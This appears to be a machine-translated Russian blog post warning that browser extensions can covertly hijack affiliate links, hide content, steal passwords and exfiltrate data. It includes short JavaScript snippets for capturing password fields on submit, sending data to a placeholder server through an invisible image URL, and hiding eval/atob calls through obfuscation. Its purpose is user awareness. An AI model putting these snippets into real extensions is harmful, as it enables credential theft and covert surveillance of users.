На прошлой неделе, просматривая видео в моем ленте на YouTube, я заметил, что подписался на канал, на который я никогда не подписывался добровольно. В основном я просто слежу за деревообработкой, переговорами, политикой и, конечно же, с техническими каналами, однако я получал в своей ленте видео от одного из самых печально известных ютуберов, имя которого я отказываюсь называть.

Погуглил, толком ничего не нашел, отписался и забыл. На пять минут. Затем я подумал, насколько легко было бы для любого из расширений, которые у меня есть в моем браузере, подписать меня на этот канал, но это параноик, это бред, не так ли?

Ну не совсем

Представьте себе установленное вами расширение с очень специфической функциональностью. Превращение посещенных ссылок в результатах Google с пурпурного, которое обычно имеет, на серый цвет. Это расширение существует, и я использовал его несколько лет, даже не задумываясь.

Минимальные разрешения, необходимые для этого изображения, необходимы для чтения и изменения даты на всех веб-сайтах, которые я посещаю, при условии, что это может быть ограничено google, это не вызывает никаких предупреждений, вы просто устанавливаете.

Однако, устанавливая расширение в свой браузер, вы разрешаете выполнение произвольного кода и открываете двери и окна автору расширения, чтобы он мог делать все, что он хочет.

Как что?

Расширение может делать то, что обещает, может делать это хорошо, у него может быть фантастическая поддержка и отзывы. Это не значит, что он ничего не делает за кулисами.

Взлом партнерской ссылки

Автор может искать ссылки с партнерским тегом и заменять их своим собственным партнерским идентификатором. Это не оставляет следов на вкладке сетей, поскольку мы не общаемся с внешним миром, а, скорее, изменяем URL-адрес ссылки, чтобы он указывал на другой тег. Это не повредит вам, но повредит человеку, который полагается на доход от партнерской программы. Ну, я сказал слишком быстро, это тебе не повредит ... ты можешь больше доверять ссылкам? Можете ли вы доверять контенту?

Модификация контента, отказ в действии

С помощью нескольких регулярных выражений и правил автор может написать сценарий, который скрывает части страницы, которую вы посещаете, если они содержат определенное слово, это было классикой первых дней вредоносных программ. У вас был вирус, вы пытались найти ответ, и ваш браузер закрывался, или даже принудительно перезагружался, если вы пытались выполнить определенные задачи.

Я бы счел это браузерной версией. Конечно, нам не разрешено закрывать вкладку с помощью close() так легко, как это возможно, но с небольшой настройкой общего поведения страницы, допустим, мы получаем доступ ко всем ссылкам и открываем вкладку программно ... Теперь мы можем закрыть их если нам не нравится то, что они загрузили, разве это не фантастика для автора.

Обратите внимание, что все примеры, которые я привожу, не имеют зависимостей, простой старый JS, так же легко можно добавить фреймворк в их расширение и сделать это в части кода.

Что касается скрытых частей контента, которые мне кажутся более интересными, то здесь тоже все очень просто. Следующий фрагмент скроет все результаты поиска Google, содержащие слово panda, потенциально направляя пользователя, ищущего помощь, к другим брендам. Ты знаешь, о чем я говорю.

document.querySelectorAll(“.ads-ad,.g”)
.forEach(
     e=>RegExp(/panda/gi).test(e.textContent)
     &&(e.style.display = ‘none’)
)

Лайки, аплодисменты, выдача себя за другое лицо

Автор может заставить людей лайкать видео / сообщения / комментарии или не любить их в этом отношении, даже не делая этого очевидным, представьте, что я говорю о Reddit. Автор может подключиться к вашим голосам за и до того, как голосование пройдет, изменить идентификатор публикации в родительском элементе, чтобы вы фактически голосовали за что-то еще. Это может привести к тому, что публикация попадет на главную страницу или станет незаконно заметной. Черт, автор мог даже заставить вас аплодировать за эту историю, даже не осознавая этого.

Однако у этого есть простое решение: он отклоняет взаимодействие, если у события нет флага isTrusted. Прочтите документацию. Что-то вроде медиума делает это. Попробуйте вызвать событие щелчка из сценария в коде, и он ничего не сделает. Насколько я знаю, это нельзя подделать, не должно быть событий, при которых нужно имитировать действие пользователя из кода.

Если вы обнаружите, что программно запускаете клики для выполнения некоторых функций, вы делаете что-то неправильно.

Кража пароля

Автор может подключаться к отправке форм и извлекать пароль из-под вашего носа, ваш пароль и ваш логин, и, конечно же, веб-сайт, на который вы пытаетесь получить доступ. Что касается фрагмента, я предполагаю, что форма с определенным идентификатором, но буквально нет ограничений на то, что может делать расширение.

//Really, it's that simple
var d = document;
d.querySelector("#signin_form")
 .addEventListener("submit", function(e){
    console.log(d.querySelector("input[type='password']").value)
});

Но не только это, не только ваши пароли к вашей учетной записи Twitter или что-то еще, все данные, которые вы передаете, все данные, которые вы читаете. Когда вы добавляете кредитную карту в Amazon? Эй, это я! дружелюбное расширение, всегда присутствующее, всегда ищущее!

Замена рекламы, фишинг и т. Д.

Автор может заменить рекламу с сайта своей собственной, получая доход от рекламы, заменить ссылки на законных веб-сайтах (например, в вашем банке) фишинговыми сайтами, поэтому, когда вы входите в систему, вы больше не находитесь на безопасном сайте.

Затем, как обычно делают фишинговые сайты, они имитируют неудачную попытку входа в систему и перенаправляют вас обратно на настоящий сайт. Затем автор помечает ваше устройство как «украденное», и оно больше не будет перенаправлять вас туда, последующие посещения будут работать без проблем, но ваши учетные данные будут скомпрометированы.

Я знаю, что упрощаю это, поскольку к настоящему времени у вас должна быть включена двухфакторная аутентификация для всего, но вы? Все ли ваши логины требуют SMS, OTP или чего-то подобного?

Незаконный сбор данных

Отправка данных на случайный сервер может быть слишком очевидной и легко обнаруживаемой, но автор может вставить невидимое изображение в DOM и передать данные через параметры URL в источник изображения.

var el = document.createElement('img');
el.src = "https://myserver.com?yourdataencoded

Хотя это отображается на вкладке сети, оно отображается не на вкладке XHR, которая является той, которую вы ожидаете для данных, которые поступают / поступают, а скорее на вкладке изображений, даже если автор передает ваши данные в этом вызове. Конечно, это означает, что глобальная точка останова XHR также не срабатывает.

Еще более продвинутым методом было бы скрыть данные, извлеченные в URL-адресе, но в то же время вернуть что-то очевидное для пользователя, значок или шрифт. Он может выталкивать данные из по запросу GET.

Получите изображение из http://harm.less/dXNlcm5hbWU6cGFzc3dvcmQ/image.png, которое по всем параметрам является изображением, независимо от того, является ли средняя строка вашим именем пользователя и паролем. Разделите данные на несколько вызовов, даже в течение нескольких дней, с нескольких страниц. Расширение может получить изображение со второй вкладки из общих данных, которые оно собирает, воспользоваться преимуществами загрузки новой страницы, внедрить туда этот вызов, удачи, найти его на двадцатой вкладке Reddit.

Предполагая, что вы даже отправляете данные, когда вкладки все еще открыты, автор может подключиться к событию onRemoved для вкладки и отправить его оттуда. Вы счастливы, потому что расширение не сделало ничего подозрительного и срабатывает, когда вы ослабляете бдительность.

Но расширением пользуются и многие доверяют!

Ранее в этом году был обнаружен новый крупный игрок, уличенный в краже пользовательской информации, проигрыватель был стильным, который позволял вам добавлять стили CSS на страницы, чтобы настроить ваш просмотр. Сообщается, что это затронуло более двух миллионов пользователей, и у расширения были фантастические отзывы, потому что свое дело оно делало хорошо. Собранные данные должны были быть неличными, но, как указал Роберт Хитон в статье, которую он написал о том, что он узнал, они собирали (продавали?) Всю историю вашего браузера.

Вы можете подумать, что простое знание URL-адресов, которые вы посещаете, не может указывать на то, кем вы являетесь, но позвольте мне процитировать его по этому поводу. Обязательно прочитайте статью, если вы еще этого не сделали, он поднимает очень хорошие моменты.

В политике конфиденциальности SimilarWeb говорится, что они собирают только неличные данные, и я предполагаю, что это технически верно. Но случаются несчастные случаи. Когда вы невольно доверяете свои личные данные такой компании, как SimilarWeb, вы не только должны надеяться, что у них нет злых намерений (кроме тех, которые указаны на их странице с ценами). Вы также должны надеяться, что у них есть хороший контроль доступа к данным, нет сотрудников-мошенников и достаточно сильная безопасность, чтобы предотвратить кражу всех их данных (ранее ваших данных). Хуже того, даже удаление номинально анонимного списка URL-адресов имеет серьезные последствия для конфиденциальности и безопасности. Деанонимизация с использованием IP-адресов и особенностей истории просмотров пользователя часто проста. Как вы вы думаете, что это может быть человек, посетивший https://www.linkedin.com/in/robertjheaton/edit? ¹

Но я бы знал, делали ли они это

Вы, не так ли? Вы могли бы знать, если бы вы потратили время на отслеживание сетевых вызовов в своем браузере и заметили, что что-то идет не в том месте, что-то подозрительное, но большинство людей не станет мудрее . Представьте миллионы пользователей, у которых есть расширения для чего угодно, от блокировки рекламы, уведомлений о социальных сетях, ваших любимых спортивных результатов, расширений для повышения производительности и т. Д.

Даже если вы способны распознавать странное поведение, когда смотрите, это не значит, что расширение не может быть на шаг впереди вас и делать это, пока вы не смотрите, делайте это, только если инструменты разработчика не открыты, или только если страница не использовалась в течение определенного времени.

Вспомните вымышленный пост Дэвида Гилбертсона о том, как он вводил код на веб-сайты с помощью явно безобидного пакета NPM, который он разработал, и с этим кодом, внедренным на страницу, он мог делать в основном то, что я говорю здесь.

Он действительно упоминает, что расширения Chrome очень ограничены, может быть, я что-то упускаю ...

У вас есть доступ к исходному коду расширений

Это великий факт, не очень хорошо известный, но вы можете распаковать расширение и посмотреть, из чего оно сделано, но это только пока. Чтение источника полезно только в том случае, если источник не заслонен, для каждой идеи, которая у вас есть, автор может найти решение, так что вы не увидите, как он это делает.

Вы можете искать исходящую связь, выполняя поиск IP-адресов или домена, но они могут быть зашифрованы, а затем расшифрованы, а код оценен без его присутствия в источнике. Вы можете смешать свой законный код со злым незаметным для большинства людей.

var conf;
var el = _=>Object.keys(conf);
conf = {
    eate : document.querySelectorAll("h1"),
    e : 1,
    lav : 5,
    tob : "xlcnQoJ2hlbGxvJyk=",
    color: target=>target.style.color="#F00",
    YW : a=>el()[2].split('').reverse().join('')
}
this[el()[1]+conf.YW()](this[`a`+el()[3]]
(!conf.eate.forEach(conf.color)&&(el()[5]+conf.tob)))

Не вдаваясь в подробности, есть некоторые раздачи, что происходит что-то подозрительное, но сравните это с любым свернутым файлом javascript, и он не должен сильно отличаться.

Выполнение кода сделает все элементы H1 на странице красными, это то, что делает наше расширение в этом сценарии. В то же время он выдает предупреждение с сообщением hello. Для дальновидных вы знаете, что свойство tob имеет часть строки Base64, которая в сочетании с пятым ключом объекта conf дает нам YWxlcnQoJ2hlbGxvJyk=, которое при декодировании с помощью atob дает нам alert('hello').

Ты говоришь, где atob звонок? Прямо там! потому что this[`a`+el()[3] возвращает функцию atob из нашего глобального оконного объекта. Затем мы просто оцениваем код с помощью старого доброго eval, который также скрыт в ключе lav, перевернутом при вызове функции YW и добавленном ко второму ключу e, снова из глобального объекта окна.

window["eval"](window["atob"]("YWxlcnQoJ2hlbGxvJyk="))
//equivalent to simply saying
alert('hello')

Кто-то, стремящийся скрыть то, что они делают, пошел бы гораздо глубже, чем это, я просто выделил несколько минут и попытался сохранить читаемость в разумных пределах. Придумать механизм сокрытия в миллион раз проще, чем перепроектировать его, даже имея доступ к коду. Предыдущий пример был очень кратким, но представьте, что вредоносная часть кода находится внутри JS-файла из 17000 строк, разделенного на сотни функций, которые рекурсивно вызывают себя с одинаковыми именами в разных областях ... Вы бы сошли с ума.

Что вы должны сделать?

Так же, как и с любым другим источником программного обеспечения, будь то приложения на вашем компьютере или на вашем телефоне, расширения, плагины или что-то еще ... избегайте пиратского и взломанного программного обеспечения. Берите программное обеспечение только из проверенных источников и будьте немного параноиком. Достаточно одного злого участника в вашей интернет-экосистеме, а честность остальных бессмысленна. Мне нравится думать о своих устройствах так же, как о своем теле, стараюсь оставаться чистым, не класть в них мусор, проходить регулярные осмотры.

:)